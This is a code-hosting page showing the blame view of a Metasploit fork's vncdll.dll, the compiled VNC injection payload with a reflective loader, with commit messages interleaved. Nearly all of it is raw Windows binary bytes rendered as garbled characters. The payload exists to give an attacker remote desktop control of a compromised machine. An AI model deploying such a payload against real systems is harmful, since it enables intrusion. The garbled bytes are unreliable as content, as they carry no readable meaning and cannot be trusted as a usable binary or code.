adam/metasploit-gs
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity
Files
681e2c940c8bcf3ed940c94de989bb6e25e867eb
metasploit-gs/data/vncdll.dll
T

491 lines
192 KiB
Plaintext
Raw Normal View History

First commit! update vnc server with the new exitfunk hash values as well as modify ReflectiveLoader to retrieve kernel32 base address dynamically ala its meterpreter counterpart.
2009-08-31 10:28:26 +00:00
MZ�ÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode.
$d
z lH lH lH�#‚H"lH>>�HlH>>�H7lH>>—H[lHªyH!lH lH$mHªoH/lH)—H(lH)�H>lH)†H!lH)…H!lHRich lHPELƒ’›Jà!  <î]pPPp¸-
¬¨x 숄@P.text=;< `.rdata�rPt@@@.dataäLÐ"´@À.relocÀ+ ,Ö@B‹Á‹L$‰Â‹Á‹L$‹ ‰Âƒ!ÃÂ3À‹A$ËÁÂV‹ñVÿ Q‹Æ^ÃV‹ñVÿ”Q…ÀtVÿ˜QVÿœQ^ÃQÿ�QÃQÿ˜QËD$V‹ñ‰�FPÿ Qƒf ƒf‹Æ^ƒÁQÿœQÃU‹ìQVW‹ñ�~Wÿ�Q‹F3Ò;ÂtE‹HH‰N;Êu‰V ë‰QLRjÿpD‰PPÿˆQ…Àu ÿŒQW‹ðÿ˜QhØ��EüP‰uüèyWÿ˜Q_^ÉÃU‹ìQSV‹ñW�^Sÿ�Q3ÿë(‹F‹HH‰N;Ïu‰~ ë‰yLWjÿpD‰xPÿˆQ…Àt9~uÓSÿ˜Q_^[ÉÃÿŒQS‹ðÿ˜QhØ��EüP‰uüèþÌU‹ìVjhÿÿÿÿu‹ñjÿ„Q‰…ÀuÿŒQ‰EhØ��EPèÈ‹Æ^]ÂU‹ìQÿ1ÿ€Q…ÀuÿŒQ‰EühØ��EüPèšÉÃU‹ìQjÿÿ1ÿ|Q…ÀtÿŒQ‰EühØ��EüPèoÉÃU‹ìQjÿ1ÿ|Q…Àt"=tÿŒQ‰EühØ��EüPè=3ÀÉÃ3À@ÉÃU‹ìQjjÿ1ÿˆQ…ÀuÿŒQ‰EühØ��EüPè ÉÃU‹ì‹E V‹ñW3ÿ‰~‰F ‹
àñèÕýÿÿ¡ðñ‰F$‹
àñÿðñèÄýÿÿ‹EWhÿÿÿ‰F0‹EWW‰F4ÿ„Q‰FD;ÇuÿŒQ‰E hØ��E P虉~L‰~H‰~P‰~8_^] j¸;;è
‹ñ‰uìǬS‹F8ƒeü‹=€Q…ÀtPÿ×…ÀuÿŒQ‰EðhØ��EðPèA‹FD…ÀtPÿ×…ÀtÛ�NèøüÿÿèWÃÿ5äñÿxQÃjÿtQÃV‹t$¹6‰A3Ò;ñw‹D$ iöè¹@B÷ñÆPÿtQ^ËÆ÷ñW‹=tQ‹ò…ÀvS‹Øhðúÿÿÿ×Kuö[‹D$iöè3Ò¹@B÷ñÆPÿ×_^ÃU‹ì‹Eƒèt(Ht!Ht3À�} ªŠE ˆE h8��E Pè~jë3À]ÃjþX]ÃU‹ìƒìV�EðPÿpQ·Eþ‹M iÀ@B‰·Mð‹Á%€yHƒÈü@·Eòt ‹4…ŒÐë‹4…\Ð��Oøÿÿ�ÁNøÿÿiÉm™ƒâ·UöÁøÎÈ�D
Switch the DLLs for vnc/meterp to Stephen Fewer's reflective versions, check in the reflectve_meterpreter source code project
2008-11-04 20:08:24 +00:00
ÿ·MøkÀÁ·MúkÀ<Á·MükÀ<Á‹M‰^ÉËD$£ôñáôñÃéµûÿÿé¸ûÿÿV‹ñ‹L$‰è¢ûÿÿ‹Æ^‹ é�ûÿÿjè¦üÿÿÃV‹ñ‹L$‰èüüÿÿ‹Æ^‹ éSýÿÿV‹ñW�~‹Ïèdûÿÿ‹v ‹Ïèbûÿÿ_‹Æ^ÃV‹ñW�~‹ÏèGûÿÿ‹v‹ÏèEûÿÿ_‹Æ^ÃSŠ\$V‹ñöÃt$Whç�~üÿ7jTVèêöÃtWèvY‹Ç_ëè�ýÿÿöÃtVè`Y‹Æ^[ÂV‹ñƒ>t(W¿üñ‹ÏèÚúÿÿ‹‹
èñ‰HT‹‹Ï_£èñ^éÇúÿÿ^Ãj¸a;èX‹ñ‰uð�NǬSèrúÿÿƒeüjÿu‹Îÿu è™üÿÿ‹Eƒf,‰F(‹ÆèÀ j¸a;è‹ñ‰uð�NǬSè,úÿÿƒeüjÿu‹Îÿu èSüÿÿ‹Eƒf(‰F,‹Æèz j¸a;èÌ‹ñ‰uð�NǬSèæùÿÿƒeüjÿu ‹Îÿuè
üÿÿƒf(ƒf,‹Æè6ÂU‹ìV‹ñW�~‹ÏèÜùÿÿ‹Fƒøt&ƒøt!‹ÏèÐùÿÿ3À�} ªŠE ˆE h8��E PèËÏè¯ùÿÿè’üÿÿ;ðtÖƒ~4uÐjÿÿv8ÿ|Q…ÀtÿŒQ‰EhØ��Eë‹E…Àt‹N@‰‹j‹Îÿ_^]Âj¸e@è÷‹ñ�~‹Ï‰}ðèAùÿÿƒeüƒ~t3À�} ªŠE ˆE h8��E Pè2‹EP‰F è}üÿÿYPÿv8ÿlQ…ÀuÿŒQ‰EhØ��EëÌ‹Ïèðøÿÿè)ÂVèÊûÿÿ‹ð…öt1W�~‹ÏèÉøÿÿ‹ÏÇFèÃøÿÿƒ~4_t
‹j‹Îÿë‹D$‰F@jèÑY^ÃSV‹t$W‹|$VWè+üÿÿ‹D$$‹YY¹Êš;3Ò‹Ù÷ó3ÒD$‹÷ñ_‰^[Ãjjè&þÿÿÃVjj‹ñèþÿÿƒfTǼS‹Æ^ÃV‹ñǼSè¼úÿÿöD$tVèŠY‹Æ^Âj¸Ž;赋ñƒ&èôúÿÿ‰F…ÀuY¿üñ‹Ï‰}ðèî÷ÿÿ¡èñƒeü…Àt‰¡èñ‹@T£èñë jXèÊY‹È‰MìÆEü…Étè`ÿÿÿë3À‰‹‹Ï‰Fè¬÷ÿÿ‹ÆèãÃj ¸±;è7‹ñ�Mèèlÿÿÿƒeü�^Sÿ�Q‹}ìƒgH‹F ‰GLƒ~u‰~ë‹F ‰xH‰~ SÇGPÿ˜Q‹èJ÷ÿÿjÿÿwDÿ|Q‹‹øè.÷ÿÿ…ÿtÿŒQ‰EðhØ��EðPè(�MèèüÿÿèLÃj¸Ô;è ‹ù�MäèÕþÿÿƒeü�_Sÿ�Q‹uèƒfH‹G ‰FLƒu‰wë‹G ‰pHS‹˜Q‰w ÇFPÿÓ‹è±öÿÿ�EìP�EðPè@úÿÿ‹E‹UìYY‹M ;Eðw r;Êsƒeë2+EðiÀè‰E;Ês‹Â+Á3Ò¹@B÷ñ)Eë‹Á+Â3Ò¹@B÷ñEÿuÿvDÿ|Q=uh�GPÿ�Qƒ~PtG‹FL…Àt‹NH‰HHë‹FH‰G‹FH…Àt‹NL‰HLë‹FL‰G ƒfP�GPÿÓ‹èðõÿÿ�Mäèùúÿÿ3Àë>�GPÿÓjÿÿvDÿ|Q…ÀtÿŒQ‰EhØ��EPèÍ‹è±õÿÿ�Mäèºúÿÿ3À@èçÂj¸ù;è9‰Mì¡ìñÿìñ…À…äÿÄP£äñƒøÿuÿŒQ‰EðhØ��EðPèjjèO3öY;Æt ‹Èèõÿÿë3ÀjT£àñè1Y‹È‰Mð‰uü;Ît jVèêúÿÿ‹øë3ÿƒMüÿjVV‹5TQ�_8SÇGÿÖPÿXQPÿÖPÿ\Q…À„uÿÿÿÿ`QWÿ5äñ‰G<ÿdQ…À„Wÿÿÿjè(øÿÿYPÿ3ÿlQ…ÀuÿŒQ‰EìhØ��Eìé=ÿÿÿ‹EìèÖÃU‹ìV‹uVÿ5äñÿdQ…ÀuÿŒQ‰EhØ��EPèu‹F(…Àtÿv0ÿÐjèmûÿÿYY‹F,…Àt
ÿv0ÿÐPèYûÿÿYYƒ~4‹ÿv0‹ÎtÿPjëÿPPè:ûÿÿY3À^]Âj¸<è­‹ñ�~‹Ï‰}äè÷óÿÿƒeüƒ~t3À�}óªŠEóˆEóh8��EóPèè�EìPjVhÊÿ5ôñjèð‹MìƒÄ‰F8‰N<…ÀuÿŒQ‰EèhØ��Eèë¾ÿv èûöÿÿYPÿv8ÿlQ…ÀtÖÿv8ÿHPƒøÿtÈ‹ÏÇFèlóÿÿè¥ÃU‹ìQ3À9A(u9A,u
First commit! update vnc server with the new exitfunk hash values as well as modify ReflectiveLoader to retrieve kernel32 base address dynamically ala its meterpreter counterpart.
2009-08-31 10:28:26 +00:00
‰A4è4ÿÿÿÉÃ3À�}ÿªŠEÿˆEÿh8��EÿPè?Ìj¸A<èÄjTèY‹È‰Mð3ö‰uü;Îtÿuÿu ÿuè<øÿÿ‹ðƒMüÿ‹ÎèÚþÿÿ‹Æè+Ãj¸A<èjTèÒY‹È‰Mð3ö‰uü;Îtÿuÿu ÿuè=øÿÿ‹ðƒMüÿ‹Îè•þÿÿ‹ÆèæËL$¸ò‹‰ƒÀƒÁ=˜òrïÃÁâ‰AÁâ AÁâ A AÁâƒÀ‰AÁâ AÁâ ¶I‹ ʉÊQˆŠQ@ˆŠQ@ˆŠƒÁ@ˆŠQ@ˆŠQ@ˆŠQ@ˆŠ ˆHÃU‹ìQQ‹E‹‹H‹ÂÁè3Á%3ÈÁà3ЋÂÁè3Á%ÿÿ3ÈÁà3ЋÁÁè3Â%33333ÐÁà3È‹ÁÁè3Â%ÿÿ3ÐÁà3ÁÑÀ‹ÈS3Ê�᪪ªªV3ÁW3ÊÑÁj?‰MüÇEø_‹M ‹ðÁÎ31ƒÁ‹ÖÁê‹ÞÁë#ß#׋•Ò �Ô‹ÞÁë#ß �Ö#÷ µØ‹1ƒÁ‰M 3ð‹ÎÁé#Ï‹ �Ó‹ÞÁë#ß �Õ‹ÞÁë#ß �×#÷ µÙ Ê1Mü‹uü‹M ÁÎ31ƒÁ‹ÖÁê‹ÞÁë#ß#׋•Ò �Ô‹ÞÁë#ß �Ö#÷ µØ‹13uüƒÁ‰M ‹ÎÁé#Ï‹ �Ó‹ÞÁë#ß �Õ‹ÞÁë#ß �×#÷ µÙ Ê3ÁÿMø…òþÿÿÑÈ‹Ð3Uü_�⪪ªª3Â3UüÑÊ‹ÊÁé3È�áÿÿ3ÁÁá3Ñ‹ÊÁé3È�á33333ÁÁá3Ñ‹ÈÁé3Ê�áÿÿ3ÑÁá3Á‹ÈÁé3Ê�á‹ñÁæ3ð‹E‰03Ê^‰H[ÉÃU‹ì�ì„SV�•|ÿÿÿÇEüW‹E‹ƒE‹M‹ ‹ð�æÀÁæ‹ø�çü ÷‹ùÁïƒEÁæ‹Ù�çÀ�ãÀ ûÁï ÷‰2‹ðƒæ?Áæ%ð ð‹ÁÁèÁæ %? ðƒá?ƒÂ ñ‰2ƒÂÿMüuŠ�…|ÿÿÿPèÔüÿÿY_^[ÉÃU‹ìQQ‹M�EøèÙüÿÿ�EøhòPèEýÿÿ‹E YY�MøèýÿÿÉÃU‹ì�ìü¡Dá3ʼnEüSV3ÛW3É��Ñ‹u‹ÐÁúŠ2ƒà„E Ñ•ÀˆD
ŒAƒù8|׉]ˆÇE„ƒ} u‹E„ë‹EˆÀ�Œ…ÿÿÿ�´…ÿÿÿ‹Eˆ¶€Èщ‰3Ò‹øƒÿ}Š\=ŒëŠœ=pÿÿÿˆ\ÄBGƒú|ãj_ǃø8}ŠTŒëŠ”pÿÿÿˆT=ÄG@ƒÿ8|ã3Û3À��ðѶzè8\=Ät ‹<…0Ñ >8\Ät ‹…0Ñ @ƒø|σm„ÿEˆƒ}„þ�Kÿÿÿ�…ÿÿÿPè$þÿÿY‹Mü_^3Í[è¼ÉÃU‹ìƒìPVWè�Eä3À@t/‹Eä·=MZu‹Eä‹MäH<‰MÌ‹EÌ�8PEuë ‹EäH‰EäëÌd¡0‰Eô‹Eô‹@ ‰Eô‹Eô‹@‰Eȃ}Ètx‹EÈ‹@(‰Eü‹EÈŠ@$ˆEÃeìÁMì
‹Eüƒøa|‹Eü‹Mì�Dà‰Eìë ‹EüEì‰Eì‹Eü@‰EüŠEÃ,ˆEöEÃ…Àu¼‹EÈ‹@‰Eô�}ì[¼Jjuë
‹EÈ‹‰EÈë‚‹Eô‹MôH<‰MÜ‹E܃Àx‰EÄ‹EÄ‹Mô‰MÜ‹EÜ‹MôH ‰MÄ‹EÜ‹MôH$‰MÔÆEöEÃ…ÀŽÊ‹EÄ‹Mô‰M¸ƒe¼ÁM¼
‹E¸¾E¼‰E¼‹E¸@‰E¸‹E¸¾…Àuß‹E¼‰Eè�}èŽNìt�}èªü
|t �}èTʯ‘uc‹EÜ‹MôH‰Mø‹EÔ·‹Mø��‰Eø�}èŽNìu
‹Eø‹Mô‰Mðë*�}èªü
|u
Shiny new version of the vnc payload, fixes #176
2008-01-26 22:17:11 +00:00
‹Eø‹Mô‰MÐë�}èTʯ‘u ‹Eø‹Mô‰MàŠEÃ,ˆEËEăÀ‰EÄ‹EÔ@@‰EÔé*ÿÿÿ‹Eä‹MäH<‰MÌj@h0‹EÌÿpPjÿUà‰Eô‹EÌ‹@T‰EÈ‹Eä‰Eü‹Eô‰Eì‹MÈ‹uü‹}ìó¤‹EÌ·@‹MÌ�D‰EÈ‹EÌ·@‹MÌf‹Ifƒé‹UÌf‰J…Àt7‹EÈ‹MôH ‰Mü‹EÈ‹MäH‰Mì‹EÈ‹@‰EØ‹MØ‹uì‹}üó¤‹EȃÀ(‰EÈ묋EÌ€‰Eü‹Eü‹Mô‰Mì‹Eìƒx „à‹Eì‹MôH QÿUð‰Eä‹Eì‹Mô‰MØ‹Eì‹MôH‰MÈ‹Eȃ8„Ÿƒ}Øt`‹EØ‹%€tT‹Eä‹MäH<‰MÜ‹E܃Àx‰EÄ‹EÄ‹Mä‰MÜ‹EÜ‹MäH‰Mø‹EØ‹%ÿÿ‹MÜ+A‹Mø��‰Eø‹Eø‹Mä‹Eȉë‹EÈ‹Mô‰Mü‹Eü@@PÿuäÿUЋMȉ‹EȃÀ‰Eȃ}Øt ‹E؃À‰EØéUÿÿÿ‹EìƒÀ‰Eìéÿÿÿ‹EÌ‹Mô+H4‰Mä‹EÌ ‰Eü‹Eüƒx„=‹Eü‹Mô‰Mì‹Eìƒx„%‹Eì‹Mô‰MÈ‹Eì‹@ƒèÑè‰Eü‹EìƒÀ‰EØ‹Eü‹MüI‰Mü…À„à‹EØf‹fÁè fƒà·À‰E´‹E´‰E°ƒm°t>ƒm°tuƒm°t颸ÿ‹MØf#·À‹MÈ‹Eä¹ÿ‹UØf#
·É‹Uȉ
ëu¸ÿ‹MØf#·À‹MäÁé�áÿÿ·É‹UÈ·Á¹ÿ‹UØf#
First commit! update vnc server with the new exitfunk hash values as well as modify ReflectiveLoader to retrieve kernel32 base address dynamically ala its meterpreter counterpart.
2009-08-31 10:28:26 +00:00
·É‹UÈf‰
Switch the DLLs for vnc/meterp to Stephen Fewer's reflective versions, check in the reflectve_meterpreter source code project
2008-11-04 20:08:24 +00:00
ë8¸ÿ‹MØf#·À‹Mä�áÿÿ·É‹UÈ·Á¹ÿ‹UØf#
·É‹UÈf‰
‹EØ@@‰EØéÿÿÿ‹Eì‹MìH‰MìéÎþÿÿ‹EÌ‹MôH(‰MÈjjÿuôÿUÈ‹EÈ_^ÉÃU‹ìÿuÿuÿu ÿuè*‹EƒÄ]ÃU‹ìÿuÿuÿu ÿuè‹‹EƒÄ]ÃÇÜSé³V‹ñÇÜSè¥öD$tVè Y‹Æ^‹;A} ‹A;A }3ÀÃ3À@ÃV‹ñè@ñ‰‹Æ^ÃU‹ìƒì3ÀV‹ñ‰Eô‰Eð‰Eìè!ñP‰‹Eÿ0�EìPèÀûƒÄ ‹Æ^ÉÂÿ1èòY˃`ÃU‹ìQQVWèíÿÿÿ‹E··pf‹xf‹@ ‹ f+ÆQf‰EþQ�Eøf+úPf‰Uøf‰uúf‰}üèeÿƒÄ _^É‹D$ÿpÿ0ÿ1èÌñƒÄ ‹PP‹D$ ÿ0è·ÿƒÄ ‹PP‹D$ ÿ0è"ûƒÄ ‹‹L$Pÿ1Pè}þƒÄ ÂU‹ìQƒeüQ‹Mè ÿÿÿÿu ‹Mè¥ÿÿÿ‹EÉÂU‹ìQƒeüQ‹Mèéþÿÿÿu ‹Mè—ÿÿÿ‹EÉÂU‹ìQƒeüQ‹MèÆþÿÿÿu ‹Mè‰ÿÿÿ‹EÉÂÿ1è‡þ…ÀY•ÀÃU‹ìQQV�EøPÿ1è/ð‹E·uü¿UúYY¿Mø‰ñ·Mþ‰Pʉp‰H ^ÉÂV‹ñ‹…Àu èl‹…Àt‹ë3À‹N;HrèS‹F^ËQ …Òu3ÀËA+ÂÁøÃV‹ñ‹…Àu è-‹…Àt‹ë3À‹N;HrèƒF‹Æ^ÃV‹ñ‹W‹|$ …Àt;tèõ‹F+G_Áø^ÂV‹ñ‹W…Àu èØ‹…Àt‹ë3Ò‹|$ ‹NÁçÏ;Jw…Àt‹ë3À;H sè§~_‹Æ^ƒ|$Vt-‹q�Aƒþr‹ë‹Ð9T$rƒþr‹‹IÈ;L$v°ë2À^ÂU‹ì‹Mƒì …Éw3ÉÁáQèÀ
vncinject payload
2005-12-12 07:07:19 +00:00
YÉÃÈÿ3Ò÷ñƒøsèƒe�EP�Môè½
h¨‘�EôPÇEôÜSè ÌU‹ì‹Mƒì …Éw 3ÉQèv
YÉÃÈÿ3Ò÷ñƒøsëƒe�EP�Môès
Switch the DLLs for vnc/meterp to Stephen Fewer's reflective versions, check in the reflectve_meterpreter source code project
2008-11-04 20:08:24 +00:00
h¨‘�EôPÇEôÜSèVÌVÿt$‹ñèÁ
Shiny new version of the vnc payload, fixes #176
2008-01-26 22:17:11 +00:00
ÇÜS‹Æ^‹D$;D$tVW‹t$‹ø¥¥¥ƒÀ¥;D$uí_^ÃW‹|$…ÿt
vncinject payload
2005-12-12 07:07:19 +00:00
V‹t$¥¥¥¥^_ÃU‹ì‹E 9EtVWƒm‹}ƒè‹ð¥¥¥¥;Euë_^‹E]ÃU‹ìƒìV‹ñèq퉋E‰Eð‹E ‰Eô‹E‰Eø‹E‰Eü�EðP‹ÎèVüÿÿ‹Æ^ÉÂV‹ñè=íÿt$‹Î‰è:üÿÿ‹Æ^ÂU‹ìƒì3ÀV‹ñ‰Eô‰Eð‰Eìèüÿÿÿ6‹Eÿ0�EìPè±÷ƒÄ ‹Æ^ÉÂS‹\$VW‹|$‹ñƒ&…ÿt
Shiny new version of the vnc payload, fixes #176
2008-01-26 22:17:11 +00:00
9_ w;_v訋‰_‰^‹Æ^[ƒy‹D$‰Ar‹IëƒÁÆÂU‹ìQQV‹u W3À�}üªÿuü�}øªÿuøÿuÿuVÿuèØþÿÿ+u‹EÁþƒÄÁæ_+Æ^ÉÃU‹ìV‹uëVÿuèœþÿÿƒEYYƒÆ;u ué‹E^]À|$V‹ñt+ƒ~r%ƒ|$ �FW‹8vÿt$WjPèXúÿÿƒÄWèÄY_ÿt$ ‹ÎÇFè9ÿÿÿ^ÂU‹ìVW‹}‹ñ9~sè¬à‹F+Ç;E s‰E ƒ} v@‹NS�Vƒùr‹ë‹Úƒùr‹+E ß] PS+ÏQ×Rèþùÿÿ‹F+E ƒÄP‹ÎèÏþÿÿ[_‹Æ^]ÂU‹ìQQ‹ÿu ‰Eø‹A�Mø‰Eüè]üÿÿ‹Mø‹E‰‹Mü‰HÉÂj ¸\<èu‹ù‰}è‹uƒÎƒþþv‹uë%3Òj‹Æ[÷ó‹O‰MìÑmì‹Uì;Âs jþX+Â;Èw�4
Switch the DLLs for vnc/meterp to Stephen Fewer's reflective versions, check in the reflectve_meterpreter source code project
2008-11-04 20:08:24 +00:00
ƒeü�FjPèÈüÿÿYY‹Øë*‹E‰eð‰E@jPÆEüè¬üÿÿY‰EìY¸..Ë}è‹u‹]ìƒ} vƒr‹Gë�Gÿu P�FPSèôøÿÿƒÄjj‹Ïèdþÿÿÿu ‹Ï‰_‰wèÔýÿÿè#‹Mè3öVjè?þÿÿVVèÛþÌU‹ìëÿuÿuè¯üÿÿÿM ƒEYYƒ} wæ]ÃU‹ìQW3À�}üªÿuüÿuüÿuÿuÿu ÿuè�ýÿÿƒÄ_ÉÃU‹ìQW3À�}üªÿuüÿu ÿuÿuÿu ÿuè¦ýÿÿƒÄ_ÉÃjjè½ýÿÿÃVW‹|$ ‹ñƒÿþvè}Þ9~s
Shiny new version of the vnc payload, fixes #176
2008-01-26 22:17:11 +00:00
ÿv‹ÎWè�þÿÿë-€|$tƒÿs‹F;øs‹ÇPj‹Îèyýÿÿë …ÿuW‹Îèëüÿÿ3À;ÇÀ_÷Ø^ÂU‹ìQW3À�}üªÿuüÿuüÿuÿuÿu ÿuèÿÿÿƒÄ_ÉÃU‹ìQW3À�}üªÿuüÿu ÿu ÿuÿu ÿuèþþÿÿƒÄ_ÉÃV‹ñjj�N ÇèSèùüÿÿ‹Î^éi ƒy$r‹AÃ�AÃV‹ñèÍÿÿÿöD$tVèÅY‹Æ^ÂU‹ì‹E SVW‹}‹Ù9GsèºÝ‹w‹E +ð9us‹u‹Ë;ßujÿðVèÚüÿÿÿu ‹ËjèÎüÿÿëCjVè½þÿÿ„Àt7ƒr‹ëƒÇ‹Kƒùr‹Cë�C‹U VúWQPèËöÿÿƒÄV‹Ëè¾ûÿÿ_^‹Ã[] U‹ìƒÁQÿuÿu ÿuèÂþÿÿ‹E ÁàƒÄE] U‹ìVW‹}W‹ñè|ùÿÿ„Àtƒ~r‹Fë�Fÿu +øWV‹Îèÿÿÿë:jÿu ‹Îèþÿÿ„Àt(‹Nƒùr‹Fë�Fÿu WQPè5öÿÿƒÄÿu ‹Îè&ûÿÿ‹Æ_^]ÂV‹ñjÇFè
vncinject payload
2005-12-12 07:07:19 +00:00
ûÿÿjÿjÿt$‹Îè·þÿÿ‹Æ^ÂVÿt$‹ñè¡YPÿt$ ‹ÎèOÿÿÿ^ƒÁQÿt$ÿt$ÿt$èXýÿÿƒÄ j¸<èi‹ñ‰uðèÄÿuƒeü�N ÇèSèwÿÿÿ‹ÆèâÂVÿt$‹ñè¿ÿÿÿÇôS‹Æ^ÂÇôSéÚýÿÿV‹ñÇôSèÌýÿÿöD$tVèÄY‹Æ^ÂV‹ñjÇFè5úÿÿÿt$‹Îè2ÿÿÿ‹Æ^ÂjD¸DHèÍÿhüS�MØèÅÿÿÿƒeü�EØP�M°è;ÿÿÿh´’�E°PÇE°ôSè ûÌj¸<èŽÿ‹ñ‰uð‹}WèfƒeüƒÇ W�N ÇèSè—þÿÿ‹ÆèÂVÿt$‹ñèºÿÿÿÇôS‹Æ^Âj¸š<èoÿ‹ÙèËöÿÿ‹U‹ø…Ò„m‹K‹Á+C ¾ÿÿÿÁø+ð‰Mì;òsè1ÿÿÿÂ;øƒª‹ÏÑéºÿÿÿ+Ñ;×s3ÿëù;øs‹øjWè_÷ÿÿƒeüYYPÿu ‹Ëÿs ‰Eìè6þÿÿÿu‹uVP‹ËèMýÿÿPÿs‹Ëÿu èþÿÿ‹C ‹K+ÈÁùñ…Àt‹KëƒÀ;Áuùÿs èFÿY‹EìÁçøÁæð‰{‰s‰C é­ÿuìè"ÿYjjèÄù‹E ‹ñ+ðÁþ;ò‹u�}Ü¥¥¥¥‹òsNÁæ�RQP‹Ëèœýÿÿ‹K‹Ñ+U �EÜP‹EÁú+ÂPQ‹ËÇEüèžüÿÿs‹[�EÜP+ÞSÿu è$÷ÿÿƒÄ ë3Q‹ùÁæQ+þW‹ËèMýÿÿÿuì‰CWÿu ècûÿÿ�EÜP‹E ðVPèïöÿÿƒÄèUþÂU‹ìQQV‹ñ‹F ‹N+ÈW÷Áðÿÿÿu3ÿëVP�Møè¥÷ÿÿ�EøP�M èXõÿÿ‹øÿu‹Îjÿuÿu è$þÿÿVÿv �Møèy÷ÿÿWÿu�MøèÙøÿÿ‹E_^ÉÂU‹ìQQV‹ñW‹~èÐôÿÿ‹Ï+N Áù;Èsÿu‹ÎjWè·ûÿÿ‰FëVW�Møè+÷ÿÿÿu�Eøÿuü‹ÎÿuøPèKÿÿÿ_^ÉÂU‹ìƒì‹S‹XW‹x3À8E �Oÿ•À3Ò8U•Â�Dÿ‰Eü¶E÷ØÀ÷Ð�Tÿ#Á‰Uô…ÿŽŒVƒe‰E …ÿ~%�L÷1‰uøf‹uøf91uU ‹òÁæÎOÿE…ÿå9Uüt‹E +ƒ}~?�tÿFþ‹M‰Eä¿F‰E迉Eì¿F‰Eð�EäPèüþÿÿ‹EüÁàðÿMƒ}È‹Uô‹E …ÿ�vÿÿÿ^‹M‹A+A _ƒàð÷ØÀ÷Ø[É ÇTÃöD$V‹ñÇTtVè´üY‹Æ^Âj¸=èßû‹ñ‹M�FP�EPè†òÿÿ‹N‹ƒeüPÿRƒMüÿ�Mè¾ñÿÿèNüÂj ¸Í<è û‹ù‹M�_S�EðPèGòÿÿƒeü�Mðè¤òÿÿ„À…§‹u ‹F‹÷Ø÷Ù‰Eì�Eè‰MèP�MðèÀñÿÿS�E P�MðèòÿÿP�MðÆEüè(õÿÿ�M ÆEüè@ñÿÿ�MðèPòÿÿ„ÀuV�Mðè…ñÿÿ‹O‹V�UðRÿP‹M�EðP�EPèòÿÿP�MðÆEüèÝôÿÿ�MÆEüèõðÿÿ�Mðèòÿÿ„Àu ‹O‹�UðRÿPƒMüÿ�MðèÑðÿÿèaûÂj¸û<è³ú‹ñ‰uðƒeü�NÇ$Tèdðÿÿ�NÆEüèXðÿÿƒf ŠEƒfˆF‹ÆèûŠD$ˆAÂ�AÃV‹ñ�Nè�ñÿÿ„Àt�Nèuñÿÿ„Àt3À@^Ã3À^ÃV‹ñ�NèNðÿÿ�N^éEðÿÿj¸û<è&ú‹ñ‰uðÇ$T�NÇEüèðÿÿ�NÆEüè
ðÿÿÇTè”úÃj¸=èèùÿu�q�EP‹Îè³ðÿÿƒeüP‹Îè±óÿÿƒMüÿ�MèÉïÿÿèYúÂj¸Y=è«ù‹ñÿu �Eì�~P‹ÏèQðÿÿÿu ƒeü�Eð�^P‹Ëè<ðÿÿ�EìP�E P‹ÏÆEüèoðÿÿP‹ÏÆEüèJóÿÿ�M ÆEüèbïÿÿ�EðP�E P‹ËèHðÿÿP‹ËÆEüè#óÿÿ�M ÆEüè;ïÿÿ�MìèKðÿÿ‹}„Àu‹ƒÆ V�MìQ‹ÏÿP�Mðè-ðÿÿ„Àu ‹�MðQ‹ÏÿP�MðÆEüèúîÿÿƒMüÿ�Mìèîîÿÿè~ùÂSV‹ñ�^W‹Ëèïïÿÿ‹|$„Àu ‹�N QS‹ÏÿPƒÆ‹ÎèÑïÿÿ„Àu‹V‹ÏÿP_^[ÂU‹ì‹E;E tVW‹}ƒE‹ð¥¥¥ƒÀ¥;E uë_^‹E]ÃV‹ñèîÿÿ„Àt3À^ËF ‹N+F+^¯ÁÃV‹ñèþÿÿöD$tVèùY‹Æ^Âj8¸Ì=è,ø‹ñ€~u
First commit! update vnc server with the new exitfunk hash values as well as modify ReflectiveLoader to retrieve kernel32 base address dynamically ala its meterpreter counterpart.
2009-08-31 10:28:26 +00:00
ÿu‹ÿPé‹Mè1ïÿÿ„À…ÿu�MðèÒíÿÿ‹} ‹G‹ƒeü÷Ø÷Ù‰Eà�E܉MÜP�Mðè>îÿÿ�^S�EèP�Mðèƒîÿÿ�MèÆEüèàîÿÿ„À„î‹M�E¼PèÚîÿÿ�EÌP‹ËèÏîÿÿ�MÌè#ÿÿÿ�M¼‹Øèÿÿÿ;Øv%ÿu�EƒÆP‹ÎèTîÿÿP‹ÎÆEüèRñÿÿ�Mé=�^S�E P�Mðè
vncinject payload
2005-12-12 07:07:19 +00:00
îÿÿW�M ÆEüè«íÿÿ�E P�EàP‹Ëèîÿÿ�VR�MäQ‹ÈÆEüèîÿÿP‹ËÆEüèÿðÿÿ�MäÆEüèíÿÿ�MàÆEüè íÿÿ‹M�E P�EPèðíÿÿP�NÆEüèÊðÿÿ�MÆEüèâìÿÿ‹‰F ‹G�M éž�^S�EìP�Mèè·íÿÿW�MìÆEüèíÿÿ�FP�EäP‹Ëèxíÿÿÿu�MàQ‹ÈÆEüèfíÿÿ�MìQ�M Q‹ÈÆEü èvíÿÿP‹ËÆEü
Switch the DLLs for vnc/meterp to Stephen Fewer's reflective versions, check in the reflectve_meterpreter source code project
2008-11-04 20:08:24 +00:00
èQðÿÿ�M ÆEü èiìÿÿ�MàÆEüè]ìÿÿ�MäÆEüèQìÿÿ�EìP�Nè!ðÿÿ‹F‹N G‰N �Mì‰FÆEüè(ìÿÿ�MèÆEüèìÿÿƒMüÿ�Mðèìÿÿè öÂU‹ìQQW3À�}üªÿuü�}øªÿuøÿu ÿuÿu ÿuè:ýÿÿ‹E +EƒÄÁøÁàE_ÉÃU‹ìQW3À�}üªÿuüÿu ÿu ÿuÿu ÿuè¢ÿÿÿƒÄ_ÉÃU‹ìQQVW‹}‹ñVÿu‹ÏèœïÿÿVÿu�Møè�ïÿÿ�EøP‹Ïè븄Àuÿwÿvÿuüè˜ÿÿÿƒÄ ‰F‹Ç_^ÉÂU‹ìƒìV‹ñVÿv�MøèPïÿÿVÿv �MðèDïÿÿÿuü�Eðÿuø‹ÎÿuôÿuðPèzÿÿÿ^ÉÃj ¸>èõ‹ñ�FP�Eè�^P‹ËèðëÿÿƒeüP‹ËèËîÿÿƒMüÿ�Mèèãêÿÿ‹}‹Ïèƒÿÿÿ�O è{ÿÿÿÿu �EìP�Nèqëÿÿ�EìP�EP�NÇEüè ëÿÿP�NÆEüèzîÿÿ�MÆEüè’êÿÿÿu �EðP‹Ëè3ëÿÿ�EðP�E P‹ËÆEüèfëÿÿP‹ËÆEüèAîÿÿ�M ÆEüèYêÿÿjj�G P�MìèG÷ÿÿƒ~�MðžÀƒ~ 